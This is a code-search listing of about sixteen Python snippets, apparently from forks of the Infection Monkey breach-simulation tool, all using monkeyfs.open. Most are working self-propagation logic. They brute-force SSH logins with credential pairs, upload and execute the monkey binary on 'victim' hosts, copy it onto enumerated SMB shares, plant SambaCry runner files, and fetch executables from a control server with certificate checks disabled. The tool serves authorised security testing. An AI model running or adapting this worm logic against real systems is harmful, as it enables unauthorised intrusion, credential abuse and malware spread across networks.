コード例 #1
0
    def upload_module(self, smb_client, share):
        """
        Uploads the module and all relevant files to server
        :param smb_client:          smb client object
        :param share:               share name
        """
        tree_id = smb_client.connectTree(share)

        with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)

        with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)

        with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)

        monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
        monkey_bin_64_src_path = get_target_monkey_by_os(False, False)

        with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)

        with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)

        smb_client.disconnectTree(tree_id)
コード例 #2
0
    def upgrade(opts):
        try:
            monkey_64_path = ControlClient.download_monkey_exe_by_os(
                True, False)
            with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
                with open(WormConfiguration.dropper_target_path_win_64,
                          'wb') as written_monkey_file:
                    shutil.copyfileobj(downloaded_monkey_file,
                                       written_monkey_file)
        except (IOError, AttributeError):
            LOG.error("Failed to download the Monkey to the target path.")
            return

        monkey_options = build_monkey_commandline_explicitly(
            opts.parent, opts.tunnel, opts.server, opts.depth)

        monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
            'monkey_path': WormConfiguration.dropper_target_path_win_64
        } + monkey_options

        monkey_process = subprocess.Popen(monkey_cmdline,
                                          shell=True,
                                          stdin=None,
                                          stdout=None,
                                          stderr=None,
                                          close_fds=True,
                                          creationflags=DETACHED_PROCESS)

        LOG.info(
            "Executed 64bit monkey process (PID=%d) with command line: %s",
            monkey_process.pid, monkey_cmdline)

        time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
        if monkey_process.poll() is not None:
            LOG.error("Seems like monkey died too soon")
コード例 #3
0
ファイル: control.py プロジェクト: zelda3721/monkey
    def download_monkey_exe_by_filename(filename, size):
        if not WormConfiguration.current_server:
            return None
        try:
            dest_file = monkeyfs.virtual_path(filename)
            if (monkeyfs.isfile(dest_file)) and (
                    size == monkeyfs.getsize(dest_file)):
                return dest_file
            else:
                download = requests.get(
                    "https://%s/api/monkey/download/%s" %
                    (WormConfiguration.current_server, filename),
                    verify=False,
                    proxies=ControlClient.proxies)

                with monkeyfs.open(dest_file, 'wb') as file_obj:
                    for chunk in download.iter_content(
                            chunk_size=DOWNLOAD_CHUNK):
                        if chunk:
                            file_obj.write(chunk)
                    file_obj.flush()
                if size == monkeyfs.getsize(dest_file):
                    return dest_file

        except Exception as exc:
            LOG.warn("Error connecting to control server %s: %s",
                     WormConfiguration.current_server, exc)
コード例 #4
0
ファイル: control.py プロジェクト: guliming1981/monkey
    def download_monkey_exe(host):
        if not WormConfiguration.current_server:
            return None        
        try:
            reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
                                  data=json.dumps(host.as_dict()),
                                  headers={'content-type': 'application/json'},
                                  verify=False, proxies=ControlClient.proxies)

            if 200 == reply.status_code:
                result_json = reply.json()
                filename = result_json.get('filename')
                if not filename:
                    return None
                size = result_json.get('size')
                dest_file = monkeyfs.virtual_path(filename)
                if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
                    return dest_file
                else:
                    download = requests.get("https://%s/api/monkey/download/%s" %
                                            (WormConfiguration.current_server, filename),
                                            verify=False, 
                                            proxies=ControlClient.proxies)

                    with monkeyfs.open(dest_file, 'wb') as file_obj:
                        for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
                            if chunk:
                                file_obj.write(chunk)
                        file_obj.flush()
                    if size == monkeyfs.getsize(dest_file):
                        return dest_file

        except Exception, exc:
            LOG.warn("Error connecting to control server %s: %s",
                     WormConfiguration.current_server, exc)
コード例 #5
0
ファイル: http.py プロジェクト: frostycellnex/monkey
    def send_head(self):
        if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
            self.send_error(500, "")
            return
        f = None
        try:
            f = monkeyfs.open(self.filename, 'rb')
        except IOError:
            self.send_error(404, "File not found")
            return None, 0, 0
        size = monkeyfs.getsize(self.filename)
        start_range = 0
        end_range = size

        if "Range" in self.headers:
            s, e = self.headers['range'][6:].split('-', 1)
            sl = len(s)
            el = len(e)
            if sl > 0:
                start_range = int(s)
                if el > 0:
                    end_range = int(e) + 1
            elif el > 0:
                ei = int(e)
                if ei < size:
                    start_range = size - ei

            if start_range == 0 and end_range - start_range >= size:
                self.send_response(200)
            else:
                self.send_response(206)
        else:
            self.send_response(200)

        self.send_header("Content-type", "application/octet-stream")
        self.send_header(
            "Content-Range", 'bytes ' + str(start_range) + '-' +
            str(end_range - 1) + '/' + str(size))
        self.send_header("Content-Length", min(end_range - start_range, size))
        self.end_headers()
        return f, start_range, end_range
コード例 #6
0
ファイル: control.py プロジェクト: shiham101/monkey
    def download_monkey_exe(host):
        if not WormConfiguration.current_server:
            return None
        try:
            reply = requests.post("https://%s/api/monkey/download" %
                                  (WormConfiguration.current_server, ),
                                  data=json.dumps(host.as_dict()),
                                  headers={'content-type': 'application/json'},
                                  verify=False,
                                  proxies=ControlClient.proxies)

            if 200 == reply.status_code:
                result_json = reply.json()
                filename = result_json.get('filename')
                if not filename:
                    return None
                size = result_json.get('size')
                dest_file = monkeyfs.virtual_path(filename)
                if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(
                        dest_file):
                    return dest_file
                else:
                    download = requests.get(
                        "https://%s/api/monkey/download/%s" %
                        (WormConfiguration.current_server, filename),
                        verify=False,
                        proxies=ControlClient.proxies)

                    with monkeyfs.open(dest_file, 'wb') as file_obj:
                        for chunk in download.iter_content(
                                chunk_size=DOWNLOAD_CHUNK):
                            if chunk:
                                file_obj.write(chunk)
                        file_obj.flush()
                    if size == monkeyfs.getsize(dest_file):
                        return dest_file

        except Exception, exc:
            LOG.warn("Error connecting to control server %s: %s",
                     WormConfiguration.current_server, exc)
コード例 #7
0
ファイル: http.py プロジェクト: hardware-forest-utopia/monkey
    def send_head(self):
        if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
            self.send_error(500, "")
            return None, 0, 0
        f = None
        try:
            f = monkeyfs.open(self.filename, 'rb')
        except IOError:
            self.send_error(404, "File not found")
            return None, 0, 0
        size = monkeyfs.getsize(self.filename)
        start_range = 0
        end_range = size

        if "Range" in self.headers:
            s, e = self.headers['range'][6:].split('-', 1)
            sl = len(s)
            el = len(e)
            if sl > 0:
                start_range = int(s)
                if el > 0:
                    end_range = int(e) + 1
            elif el > 0:
                ei = int(e)
                if ei < size:
                    start_range = size - ei

            if start_range == 0 and end_range - start_range >= size:
                self.send_response(200)
            else:
                self.send_response(206)
        else:
            self.send_response(200)

        self.send_header("Content-type", "application/octet-stream")
        self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
        self.send_header("Content-Length", min(end_range - start_range, size))
        self.end_headers()
        return f, start_range, end_range
コード例 #8
0
ファイル: control.py プロジェクト: subkanthi/monkey
    def download_monkey_exe_by_filename(filename, size):
        if not WormConfiguration.current_server:
            return None
        try:
            dest_file = monkeyfs.virtual_path(filename)
            if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
                return dest_file
            else:
                download = requests.get("https://%s/api/monkey/download/%s" %
                                        (WormConfiguration.current_server, filename),
                                        verify=False,
                                        proxies=ControlClient.proxies)

                with monkeyfs.open(dest_file, 'wb') as file_obj:
                    for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
                        if chunk:
                            file_obj.write(chunk)
                    file_obj.flush()
                if size == monkeyfs.getsize(dest_file):
                    return dest_file

        except Exception as exc:
            LOG.warn("Error connecting to control server %s: %s",
                     WormConfiguration.current_server, exc)
コード例 #9
0
ファイル: sshexec.py プロジェクト: guardicore/monkey
            if stdout_res:
                # file exists
                LOG.info("Host %s was already infected under the current configuration, done" % host)
                return True  # return already infected

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(
                    file_obj,
                    self._config.dropper_target_path_linux,
                    file_size=monkeyfs.getsize(src_path),
                    callback=self.log_transfer,
                )
                ftp.chmod(self._config.dropper_target_path_linux, 0777)

            ftp.close()
        except Exception, exc:
            LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
コード例 #10
0
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        exploited = False
        for user, curpass in user_password_pairs:
            try:
                ssh.connect(self.host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          self.host, user, curpass)
                self.report_login_attempt(True, user, curpass)
                exploited = True
                break

            except Exception as exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", self.host,
                          user, curpass, exc)
                self.report_login_attempt(False, user, curpass)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host, cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
コード例 #11
0
ファイル: tools.py プロジェクト: spofa/monkey
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug(
                                "Remote monkey file is same as source, skipping copy"
                            )
                            return remote_full_path

                        LOG.debug(
                            "Remote monkey file is found but different, moving along with attack"
                        )
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info(
                    "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                    src_path, share_name, share_path, host)

                break
            except Exception, exc:
                LOG.debug(
                    "Error uploading monkey to share '%s' on victim %r: %s",
                    share_name, host, exc)
コード例 #12
0
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        #Check for possible ssh exploits
        exploited = self.exploit_with_ssh_keys(port, ssh)
        if not exploited:
            exploited = self.exploit_with_login_creds(port, ssh)

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)",
                          self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host,
                      exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host,
                      exc)
            return False
コード例 #13
0
ファイル: tools.py プロジェクト: xuacker/monkey
    def copy_file(host,
                  src_path,
                  dst_path,
                  username,
                  password,
                  lm_hash='',
                  ntlm_hash='',
                  timeout=60):
        assert monkeyfs.isfile(
            src_path), "Source file to copy (%s) is missing" % (src_path, )

        config = __import__('config').WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password,
                                                   lm_hash, ntlm_hash, timeout)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug(
                "Connection to %r granted guest privileges with user: %s, password: '******',"
                " LM hash: %s, NTLM hash: %s", host, username, password,
                lm_hash, ntlm_hash)

            try:
                smb.logoff()
            except:
                pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception as exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {
            'major_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            'minor_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            'server_name':
            resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
            'server_comment':
            resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
            'server_user_path':
            resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
            'simultaneous_users':
            resp['InfoStruct']['ServerInfo102']['sv102_users']
        }

        LOG.debug("Connected to %r using %s:\n%s", host, dialect,
                  pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception as exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug(
                    "Skipping share '%s' on victim %r because max uses is exceeded",
                    share_name, host)
                continue
            elif not share_path:
                LOG.debug(
                    "Skipping share '%s' on victim %r because share path is invalid",
                    share_name, host)
                continue

            share_info = {'share_name': share_name, 'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep +
                                          dst_path[len(share_path):],
                                          share_info), )

            low_priority_shares += ((ntpath.sep + file_name, share_info), )

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password,
                                                     lm_hash, ntlm_hash,
                                                     timeout)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception as exc:
                LOG.debug(
                    "Error connecting tree to share '%s' on victim %r: %s",
                    share_name, host, exc)
                continue

            LOG.debug(
                "Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                share_name, share_path, remote_path, host)

            remote_full_path = ntpath.join(share_path,
                                           remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug(
                                "Remote monkey file is same as source, skipping copy"
                            )
                            return remote_full_path

                        LOG.debug(
                            "Remote monkey file is found but different, moving along with attack"
                        )
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info(
                    "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                    src_path, share_name, share_path, host)

                break
            except Exception as exc:
                LOG.debug(
                    "Error uploading monkey to share '%s' on victim %r: %s",
                    share_name, host, exc)
                continue
            finally:
                try:
                    smb.logoff()
                except:
                    pass

                smb = None

        if not file_uploaded:
            LOG.debug(
                "Couldn't find a writable share for exploiting"
                " victim %r with username: %s, password: '******', LM hash: %s, NTLM hash: %s",
                host, username, password, lm_hash, ntlm_hash)
            return None

        return remote_full_path
コード例 #14
0
    def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
        assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)

        config = __import__('config').WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug("Connection to %r granted guest privileges with user: %s, password: '******',"
                      " LM hash: %s, NTLM hash: %s",
                      host, username, password, lm_hash, ntlm_hash)

            try:
                smb.logoff()
            except:
                pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception as exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
                'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
                'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
                'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
                'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
                'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}

        LOG.debug("Connected to %r using %s:\n%s",
                  host, dialect, pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception as exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
                          share_name, host)
                continue
            elif not share_path:
                LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
                          share_name, host)
                continue

            share_info = {'share_name': share_name,
                          'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)

            low_priority_shares += ((ntpath.sep + file_name, share_info),)

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception as exc:
                LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue

            LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                      share_name, share_path, remote_path, host)

            remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug("Remote monkey file is same as source, skipping copy")
                            return remote_full_path

                        LOG.debug("Remote monkey file is found but different, moving along with attack")
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                         src_path, share_name, share_path, host)

                break
            except Exception as exc:
                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue
            finally:
                try:
                    smb.logoff()
                except:
                    pass

                smb = None

        if not file_uploaded:
            LOG.debug("Couldn't find a writable share for exploiting"
                      " victim %r with username: %s, password: '******', LM hash: %s, NTLM hash: %s",
                      host, username, password, lm_hash, ntlm_hash)
            return None

        return remote_full_path
コード例 #15
0
ファイル: sshexec.py プロジェクト: frostycellnex/monkey
            except Exception, exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    host, exc)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0777)

            ftp.close()
        except Exception, exc:
            LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(host, depth - 1)
コード例 #16
0
ファイル: tools.py プロジェクト: 0x0mar/monkey
            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug("Remote monkey file is same as source, skipping copy")
                            return None

                        LOG.debug("Remote monkey file is found but different, moving along with attack")
                except:
                    pass # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                         src_path, share_name, share_path, host)

                break
            except Exception, exc:
                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue
            finally:
                try: smb.logoff()
                except: pass